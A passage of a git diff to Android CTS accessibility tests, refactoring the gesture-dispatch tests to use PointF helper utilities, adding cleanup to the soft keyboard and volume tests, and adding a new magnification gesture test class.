- GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(swipeWithinView(startPoint, endPoint, gestureTime),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
int numEvents = mMotionEvents.size();
@@ -206,30 +211,31 @@
assertTrue(moveEvent.getEventTime() >= lastEventTime);
float fractionOfSwipe =
((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
- float fractionX = ((float) (endPoint.x - startPoint.x)) * fractionOfSwipe + 0.5f;
- float fractionY = ((float) (endPoint.y - startPoint.y)) * fractionOfSwipe + 0.5f;
- Point intermediatePoint = new Point(startPoint);
- intermediatePoint.offset((int) fractionX, (int) fractionY);
+ PointF intermediatePoint = add(startPoint,
+ ceil(times(fractionOfSwipe, diff(endPoint, startPoint))));
assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
lastEventTime = moveEvent.getEventTime();
}
}
+ public void dispatch(GestureDescription gesture, int timeoutMs) {
+ await(dispatchGesture(mService, gesture), timeoutMs, MILLISECONDS);
+ }
+
public void testSlowSwipe_shouldNotContainMovesForTinyMovement() throws InterruptedException {
if (!mHasTouchScreen) {
return;
}
- Point startPoint = new Point(10, 20);
- Point intermediatePoint1 = new Point(10, 21);
- Point intermediatePoint2 = new Point(11, 21);
- Point intermediatePoint3 = new Point(11, 22);
- Point endPoint = new Point(11, 22);
+ PointF startPoint = new PointF(10, 20);
+ PointF intermediatePoint1 = new PointF(10, 21);
+ PointF intermediatePoint2 = new PointF(11, 21);
+ PointF intermediatePoint3 = new PointF(11, 22);
+ PointF endPoint = new PointF(11, 22);
int gestureTime = 1000;
- GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(swipeWithinView(startPoint, endPoint, gestureTime),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
assertEquals(5, mMotionEvents.size());
@@ -245,16 +251,14 @@
return;
}
- Point centerPoint = new Point(50, 60);
+ PointF centerPoint = new PointF(50, 60);
int startSpacing = 100;
int endSpacing = 50;
int gestureTime = 500;
float pinchTolerance = 2.0f;
- GestureDescription pinch = createPinchInViewBounds(centerPoint, startSpacing,
- endSpacing, 45.0F, gestureTime);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(pinch, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(pinchWithinView(centerPoint, startSpacing, endSpacing, 45.0F, gestureTime),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
int numEvents = mMotionEvents.size();
@@ -313,13 +317,10 @@
magRegionCenterPoint.set(magnificationController.getCenterX(),
magnificationController.getCenterY());
});
- final PointF magRegionOffsetPoint = new PointF();
- magRegionOffsetPoint.set(magRegionCenterPoint);
- magRegionOffsetPoint.offset(CLICK_OFFSET_X, CLICK_OFFSET_Y);
+ final PointF magRegionOffsetPoint
+ = add(magRegionCenterPoint, CLICK_OFFSET_X, CLICK_OFFSET_Y);
- final PointF magRegionOffsetClickPoint = new PointF();
- magRegionOffsetClickPoint.set(magRegionCenterPoint);
- magRegionOffsetClickPoint.offset(
+ final PointF magRegionOffsetClickPoint = add(magRegionCenterPoint,
CLICK_OFFSET_X * MAGNIFICATION_FACTOR, CLICK_OFFSET_Y * MAGNIFICATION_FACTOR);
try {
@@ -331,16 +332,16 @@
assertTrue("Failed to set scale", setScale.get());
// Click in the center of the magnification region
- GestureDescription magRegionCenterClick = createClick(magRegionCenterPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(
- magRegionCenterClick, mCallback, null));
- mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+ dispatch(new GestureDescription.Builder()
+ .addStroke(click(magRegionCenterPoint))
+ .build(),
+ GESTURE_COMPLETION_TIMEOUT);
// Click at a slightly offset point
- GestureDescription magRegionOffsetClick = createClick(magRegionOffsetClickPoint);
- mService.runOnServiceSync(() -> mService.doDispatchGesture(
- magRegionOffsetClick, mCallback, null));
- mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
+ dispatch(new GestureDescription.Builder()
+ .addStroke(click(magRegionOffsetClickPoint))
+ .build(),
+ GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(any(MotionEvent.class), 4);
} finally {
// Reset magnification
@@ -376,30 +377,25 @@
return;
}
- Point start = new Point(10, 20);
- Point mid1 = new Point(20, 20);
- Point mid2 = new Point(20, 25);
- Point end = new Point(20, 30);
+ PointF start = new PointF(10, 20);
+ PointF mid1 = new PointF(20, 20);
+ PointF mid2 = new PointF(20, 25);
+ PointF end = new PointF(20, 30);
int gestureTime = 500;
StrokeDescription s1 = new StrokeDescription(
- linePathInViewBounds(start, mid1), 0, gestureTime, true);
+ lineWithinView(start, mid1), 0, gestureTime, true);
StrokeDescription s2 = s1.continueStroke(
- linePathInViewBounds(mid1, mid2), 0, gestureTime, true);
+ lineWithinView(mid1, mid2), 0, gestureTime, true);
StrokeDescription s3 = s2.continueStroke(
- linePathInViewBounds(mid2, end), 0, gestureTime, false);
+ lineWithinView(mid2, end), 0, gestureTime, false);
+
GestureDescription gesture1 = new GestureDescription.Builder().addStroke(s1).build();
GestureDescription gesture2 = new GestureDescription.Builder().addStroke(s2).build();
GestureDescription gesture3 = new GestureDescription.Builder().addStroke(s3).build();
-
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture3, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(gesture1, gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(gesture2, gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ dispatch(gesture3, gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
assertThat(mMotionEvents.get(0), allOf(IS_ACTION_DOWN, isAtPoint(start)));
@@ -415,25 +411,24 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point midPoint = new Point(20, 20);
- Point endPoint = new Point(20, 30);
+ PointF startPoint = new PointF(10, 20);
+ PointF midPoint = new PointF(20, 20);
+ PointF endPoint = new PointF(20, 30);
int gestureTime = 500;
- StrokeDescription stroke1 = new StrokeDescription(
- linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
- GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke1 =
+ new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
+ dispatch(new GestureDescription.Builder().addStroke(stroke1).build(),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(both(IS_ACTION_MOVE).and(isAtPoint(midPoint)), 1);
- StrokeDescription stroke2 = stroke1.continueStroke(
- linePathInViewBounds(endPoint, midPoint), 0, gestureTime, false);
- GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
- mCallback.reset();
+ StrokeDescription stroke2 =
+ stroke1.continueStroke(lineWithinView(endPoint, midPoint), 0, gestureTime, false);
mMotionEvents.clear();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
- mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ awaitCancellation(
+ dispatchGesture(mService,
+ new GestureDescription.Builder().addStroke(stroke2).build()),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT, MILLISECONDS);
waitForMotionEvents(IS_ACTION_CANCEL, 1);
assertEquals(1, mMotionEvents.size());
@@ -444,23 +439,20 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point midPoint = new Point(20, 20);
- Point endPoint = new Point(20, 30);
+ PointF startPoint = new PointF(10, 20);
+ PointF midPoint = new PointF(20, 20);
+ PointF endPoint = new PointF(20, 30);
int gestureTime = 500;
- StrokeDescription stroke1 = new StrokeDescription(
- linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
- GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke1 =
+ new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
+ dispatch(new GestureDescription.Builder().addStroke(stroke1).build(),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
- StrokeDescription stroke2 = new StrokeDescription(
- linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
- GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
- mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke2 =
+ new StrokeDescription(lineWithinView(midPoint, endPoint), 0, gestureTime, false);
+ dispatch(new GestureDescription.Builder().addStroke(stroke2).build(),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT);
waitForMotionEvents(IS_ACTION_UP, 1);
@@ -479,20 +471,20 @@
return;
}
- Point startPoint = new Point(10, 20);
- Point midPoint = new Point(20, 20);
- Point endPoint = new Point(20, 30);
+ PointF startPoint = new PointF(10, 20);
+ PointF midPoint = new PointF(20, 20);
+ PointF endPoint = new PointF(20, 30);
int gestureTime = 500;
- StrokeDescription stroke1 = new StrokeDescription(
- linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
+ StrokeDescription stroke1 =
+ new StrokeDescription(lineWithinView(startPoint, midPoint), 0, gestureTime, true);
- StrokeDescription stroke2 = stroke1.continueStroke(
- linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
- GestureDescription gesture = new GestureDescription.Builder().addStroke(stroke2).build();
- mCallback.reset();
- mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture, mCallback, null));
- mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+ StrokeDescription stroke2 =
+ stroke1.continueStroke(lineWithinView(midPoint, endPoint), 0, gestureTime, false);
+ awaitCancellation(
+ dispatchGesture(mService,
+ new GestureDescription.Builder().addStroke(stroke2).build()),
+ gestureTime + GESTURE_COMPLETION_TIMEOUT, MILLISECONDS);
}
public static class GestureDispatchActivity extends AccessibilityTestActivity {
@@ -507,52 +499,6 @@
}
}
- public static class MyGestureCallback extends AccessibilityService.GestureResultCallback {
- private boolean mCompleted;
- private boolean mCancelled;
-
- @Override
- public synchronized void onCompleted(GestureDescription gestureDescription) {
- mCompleted = true;
- notifyAll();
- }
-
- @Override
- public synchronized void onCancelled(GestureDescription gestureDescription) {
- mCancelled = true;
- notifyAll();
- }
-
- public synchronized void assertGestureCompletes(long timeout) {
- if (mCompleted) {
- return;
- }
- try {
- wait(timeout);
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- assertTrue("Gesture did not complete. Canceled = " + mCancelled, mCompleted);
- }
-
- public synchronized void assertGestureCancels(long timeout) {
- if (mCancelled) {
- return;
- }
- try {
- wait(timeout);
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- assertTrue("Gesture did not cancel. Completed = " + mCompleted, mCancelled);
- }
-
- public synchronized void reset() {
- mCancelled = false;
- mCompleted = false;
- }
- }
-
private void waitForMotionEvents(Matcher<MotionEvent> matcher, int numEventsExpected)
throws InterruptedException {
synchronized (mMotionEvents) {
@@ -597,53 +543,38 @@
}
}
- private GestureDescription createClickInViewBounds(Point clickPoint) {
- Point offsetClick = new Point(clickPoint);
- offsetClick.offset(mViewLocation[0], mViewLocation[1]);
- return createClick(offsetClick);
- }
-
- private GestureDescription createClick(Point clickPoint) {
- return createClick(new PointF(clickPoint.x, clickPoint.y));
- }
-
- private GestureDescription createClick(PointF clickPoint) {
- Path clickPath = new Path();
- clickPath.moveTo(clickPoint.x, clickPoint.y);
- StrokeDescription clickStroke =
- new StrokeDescription(clickPath, 0, ViewConfiguration.getTapTimeout());
- GestureDescription.Builder clickBuilder = new GestureDescription.Builder();
- clickBuilder.addStroke(clickStroke);
- return clickBuilder.build();
- }
-
- private GestureDescription createLongClickInViewBounds(Point clickPoint) {
- Point offsetPoint = new Point(clickPoint);
- offsetPoint.offset(mViewLocation[0], mViewLocation[1]);
- Path clickPath = new Path();
- clickPath.moveTo(offsetPoint.x, offsetPoint.y);
- int longPressTime = ViewConfiguration.getLongPressTimeout();
-
- StrokeDescription longClickStroke =
- new StrokeDescription(clickPath, 0, longPressTime + (longPressTime / 2));
- GestureDescription.Builder longClickBuilder = new GestureDescription.Builder();
- longClickBuilder.addStroke(longClickStroke);
- return longClickBuilder.build();
- }
-
- private GestureDescription createSwipeInViewBounds(Point start, Point end, long duration) {
- return new GestureDescription.Builder().addStroke(
- new StrokeDescription(linePathInViewBounds(start, end), 0, duration, false))
+ private GestureDescription clickWithinView(PointF clickPoint) {
+ return new GestureDescription.Builder()
+ .addStroke(click(withinView(clickPoint)))
.build();
}
- private GestureDescription createPinchInViewBounds(Point centerPoint, int startSpacing,
+ private GestureDescription longClickWithinView(PointF clickPoint) {
+ return new GestureDescription.Builder()
+ .addStroke(longClick(withinView(clickPoint)))
+ .build();
+ }
+
+ private PointF withinView(PointF clickPoint) {
+ return add(clickPoint, mViewLocation[0], mViewLocation[1]);
+ }
+
+ private GestureDescription swipeWithinView(PointF start, PointF end, long duration) {
+ return new GestureDescription.Builder()
+ .addStroke(new StrokeDescription(lineWithinView(start, end), 0, duration))
+ .build();
+ }
+
+ private Path lineWithinView(PointF startPoint, PointF endPoint) {
+ return path(withinView(startPoint), withinView(endPoint));
+ }
+
+ private GestureDescription pinchWithinView(PointF centerPoint, int startSpacing,
int endSpacing, float orientation, long duration) {
if ((startSpacing < 0) || (endSpacing < 0)) {
throw new IllegalArgumentException("Pinch spacing cannot be negative");
}
- Point offsetCenter = new Point(centerPoint);
- offsetCenter.offset(mViewLocation[0], mViewLocation[1]);
+ PointF offsetCenter = withinView(centerPoint);
float[] startPoint1 = new float[2];
float[] endPoint1 = new float[2];
float[] startPoint2 = new float[2];
@@ -675,19 +606,10 @@
path2.moveTo(startPoint2[0], startPoint2[1]);
path2.lineTo(endPoint2[0], endPoint2[1]);
- StrokeDescription path1Stroke = new StrokeDescription(path1, 0, duration);
- StrokeDescription path2Stroke = new StrokeDescription(path2, 0, duration);
- GestureDescription.Builder swipeBuilder = new GestureDescription.Builder();
- swipeBuilder.addStroke(path1Stroke);
- swipeBuilder.addStroke(path2Stroke);
- return swipeBuilder.build();
- }
-
- Path linePathInViewBounds(Point startPoint, Point endPoint) {
- Path path = new Path();
- path.moveTo(startPoint.x + mViewLocation[0], startPoint.y + mViewLocation[1]);
- path.lineTo(endPoint.x + mViewLocation[0], endPoint.y + mViewLocation[1]);
- return path;
+ return new GestureDescription.Builder()
+ .addStroke(new StrokeDescription(path1, 0, duration))
+ .addStroke(new StrokeDescription(path2, 0, duration))
+ .build();
}
private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
@@ -705,13 +627,13 @@
@Override
public void describeTo(Description description) {
- description.appendText("Matching to action " + mAction);
+ description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
}
}
- Matcher<MotionEvent> isAtPoint(final Point point) {
- return isAtPoint(new PointF(point.x, point.y), 0.01f);
+ Matcher<MotionEvent> isAtPoint(final PointF point) {
+ return isAtPoint(point, 0.01f);
}
Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
index 49c209f..1674309 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySoftKeyboardModesTest.java
@@ -17,6 +17,7 @@
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.AccessibilityService.SoftKeyboardController;
import android.app.Activity;
+import android.app.Instrumentation;
import android.app.UiAutomation;
import android.os.Bundle;
import android.os.Handler;
@@ -36,6 +37,7 @@
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicBoolean;
/**
* Test cases for testing the accessibility APIs for interacting with the soft keyboard show mode.
@@ -70,6 +72,8 @@
private InstrumentedAccessibilityService mService;
private SoftKeyboardController mKeyboardController;
private UiAutomation mUiAutomation;
+ private Activity mActivity;
+ private View mKeyboardTargetView;
private Object mLock = new Object();
@@ -83,7 +87,7 @@
// If we don't call getActivity(), we get an empty list when requesting the number of
// windows on screen.
- getActivity();
+ mActivity = getActivity();
mService = InstrumentedAccessibilityService.enableService(
getInstrumentation(), InstrumentedAccessibilityService.class);
@@ -93,6 +97,8 @@
AccessibilityServiceInfo info = mUiAutomation.getServiceInfo();
info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
mUiAutomation.setServiceInfo(info);
+ getInstrumentation().runOnMainSync(
+ () -> mKeyboardTargetView = mActivity.findViewById(R.id.edit_text));
}
@Override
@@ -100,8 +106,11 @@
mKeyboardController.setShowMode(SHOW_MODE_AUTO);
mService.runOnServiceSync(() -> mService.disableSelf());
Activity activity = getActivity();
- activity.getSystemService(InputMethodManager.class)
- .hideSoftInputFromWindow(activity.getCurrentFocus().getWindowToken(), 0);
+ View currentFocus = activity.getCurrentFocus();
+ if (currentFocus != null) {
+ activity.getSystemService(InputMethodManager.class)
+ .hideSoftInputFromWindow(currentFocus.getWindowToken(), 0);
+ }
}
public void testApiReturnValues_shouldChangeValueOnRequestAndSendCallback() throws Exception {
@@ -228,20 +237,24 @@
*/
private boolean tryShowSoftInput() throws Exception {
final BlockingQueue<Integer> queue = new ArrayBlockingQueue<>(1);
+ final AtomicBoolean showSoftInputResult = new AtomicBoolean(false);
+ final Activity activity = getActivity();
+ final ResultReceiver resultReceiver =
+ new ResultReceiver(new Handler(activity.getMainLooper())) {
+ @Override
+ protected void onReceiveResult(int resultCode, Bundle resultData) {
+ queue.add(resultCode);
+ }
+ };
- getInstrumentation().runOnMainSync(() -> {
- Activity activity = getActivity();
- ResultReceiver resultReceiver =
- new ResultReceiver(new Handler(activity.getMainLooper())) {
- @Override
- protected void onReceiveResult(int resultCode, Bundle resultData) {
- queue.add(resultCode);
- }
- };
- View editText = activity.findViewById(R.id.edit_text);
- activity.getSystemService(InputMethodManager.class)
- .showSoftInput(editText, InputMethodManager.SHOW_FORCED, resultReceiver);
- });
+ final Instrumentation instrumentation = getInstrumentation();
+ instrumentation.runOnMainSync(() -> mKeyboardTargetView.requestFocus());
+ instrumentation.waitForIdleSync();
+ final InputMethodManager imm = mActivity.getSystemService(InputMethodManager.class);
+ instrumentation.runOnMainSync(() -> showSoftInputResult.set(imm.showSoftInput(
+ mKeyboardTargetView, InputMethodManager.SHOW_FORCED, resultReceiver)));
+
+ assertTrue("InputMethodManager refused to show a soft input", showSoftInputResult.get());
Integer result;
try {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index b67fc28..8b1154e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -63,16 +63,22 @@
if (mSingleVolume) {
return;
}
- int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
- int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
- InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
- mInstrumentation, InstrumentedAccessibilityService.class);
-
- service.runOnServiceSync(() ->
- mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume, 0));
- assertEquals("Accessibility service should be able to change accessibility volume",
- otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
- service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
- AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+ final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
+ final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
+ final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
+ .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
+ try {
+ service.runOnServiceSync(() ->
+ mAudioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, otherVolume,
+ 0));
+ assertEquals("Accessibility service should be able to change accessibility volume",
+ otherVolume, mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY));
+ service.runOnServiceSync(() -> mAudioManager.setStreamVolume(
+ AudioManager.STREAM_ACCESSIBILITY, startingVolume, 0));
+ } finally {
+ if (service != null) {
+ service.runOnServiceSync(() -> service.disableSelf());
+ }
+ }
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 2b6d2dd..d6dc7fa 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -22,11 +22,15 @@
import static junit.framework.Assert.assertTrue;
public class InstrumentedAccessibilityService extends AccessibilityService {
+
+ private static final boolean DEBUG = false;
+
// Match com.android.server.accessibility.AccessibilityManagerService#COMPONENT_NAME_SEPARATOR
private static final String COMPONENT_NAME_SEPARATOR = ":";
- private static final int TIMEOUT_SERVICE_ENABLE = 10000;
- private static final int TIMEOUT_SERVICE_PERFORM_SYNC = 5000;
+ // Timeout disabled in #DEBUG mode to prevent breakpoint-related failures
+ private static final int TIMEOUT_SERVICE_ENABLE = DEBUG ? Integer.MAX_VALUE : 10000;
+ private static final int TIMEOUT_SERVICE_PERFORM_SYNC = DEBUG ? Integer.MAX_VALUE : 5000;
private static final HashMap<Class, WeakReference<InstrumentedAccessibilityService>>
sInstances = new HashMap<>();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
new file mode 100644
index 0000000..7269b81
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static android.accessibilityservice.cts.utils.AsyncUtils.await;
+import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
+import static android.accessibilityservice.cts.utils.GestureUtils.add;
+import static android.accessibilityservice.cts.utils.GestureUtils.click;
+import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.drag;
+import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
+import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerDown;
+import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
+import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
+import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.view.MotionEvent.ACTION_DOWN;
+import static android.view.MotionEvent.ACTION_MOVE;
+import static android.view.MotionEvent.ACTION_UP;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.Matchers.empty;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static java.util.concurrent.TimeUnit.SECONDS;
+
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
+import android.accessibilityservice.cts.utils.EventCapturingTouchListener;
+import android.app.Instrumentation;
+import android.content.pm.PackageManager;
+import android.graphics.PointF;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.InstrumentationRegistry;
+import android.view.MotionEvent;
+import android.widget.TextView;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+
+/**
+ * Class for testing magnification.
+ */
+@RunWith(AndroidJUnit4.class)
+public class MagnificationGestureHandlerTest {
+
+ private static final double MIN_SCALE = 1.2;
+
+ private InstrumentedAccessibilityService mService;
+ private Instrumentation mInstrumentation;
+ private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener();
+ float mCurrentScale = 1f;
+ PointF mCurrentZoomCenter = null;
+ PointF mTapLocation;
+ PointF mTapLocation2;
+ private boolean mHasTouchscreen;
+ private boolean mOriginalIsMagnificationEnabled;
+
+ private final Object mZoomLock = new Object();
+
+ @Rule
+ public ActivityTestRule<GestureDispatchActivity> mActivityRule =
+ new ActivityTestRule<>(GestureDispatchActivity.class);
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+
+ PackageManager pm = mInstrumentation.getContext().getPackageManager();
+ mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+ || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+ if (!mHasTouchscreen) return;
+
+ mOriginalIsMagnificationEnabled =
+ Settings.Secure.getInt(mInstrumentation.getContext().getContentResolver(),
+ Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
+ setMagnificationEnabled(true);
+
+ mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+ mService.getMagnificationController().addListener(
+ (controller, region, scale, centerX, centerY) -> {
+ mCurrentScale = scale;
+ mCurrentZoomCenter = isZoomed() ? new PointF(centerX, centerY) : null;
+
+ synchronized (mZoomLock) {
+ mZoomLock.notifyAll();
+ }
+ });
+
+ TextView view = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
+ mInstrumentation.runOnMainSync(() -> {
+ view.setOnTouchListener(mTouchListener);
+ int[] xy = new int[2];
+ view.getLocationOnScreen(xy);
+ mTapLocation = new PointF(xy[0] + 251, xy[1] + 249);
+ mTapLocation2 = add(mTapLocation, 31, 29);
+ });
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ if (!mHasTouchscreen) return;
+
+ setMagnificationEnabled(mOriginalIsMagnificationEnabled);
+
+ if (mService != null) {
+ mService.runOnServiceSync(() -> mService.disableSelfAndRemove());
+ mService = null;
+ }
+ }
+
+ @Test
+ public void testZoomOnOff() {
+ if (!mHasTouchscreen) return;
+
+ assertFalse(isZoomed());
+
+ assertGesturesPropagateToView();
+ assertFalse(isZoomed());
+
+ setZoomByTripleTapping(true);
+
+ assertGesturesPropagateToView();
+ assertTrue(isZoomed());
+
+ setZoomByTripleTapping(false);
+ }
+
+ @Test
+ public void testViewportDragging() {
+ if (!mHasTouchscreen) return;
+
+ assertFalse(isZoomed());
+ tripleTapAndDragViewport();
+ waitOn(mZoomLock, () -> !isZoomed());
+
+ setZoomByTripleTapping(true);
+ tripleTapAndDragViewport();
+ assertTrue(isZoomed());
+
+ setZoomByTripleTapping(false);
+ }
+
+ @Test
+ public void testPanning() {
+ if (!mHasTouchscreen) return;
+ assertFalse(isZoomed());
+
+ float pan = Math.min(mTapLocation.x, mTapLocation2.x) / 2;
+
+ setZoomByTripleTapping(true);
+ PointF oldCenter = mCurrentZoomCenter;
+
+ dispatch(
+ swipe(mTapLocation, add(mTapLocation, -pan, 0)),
+ swipe(mTapLocation2, add(mTapLocation2, -pan, 0)));
+
+ waitOn(mZoomLock,
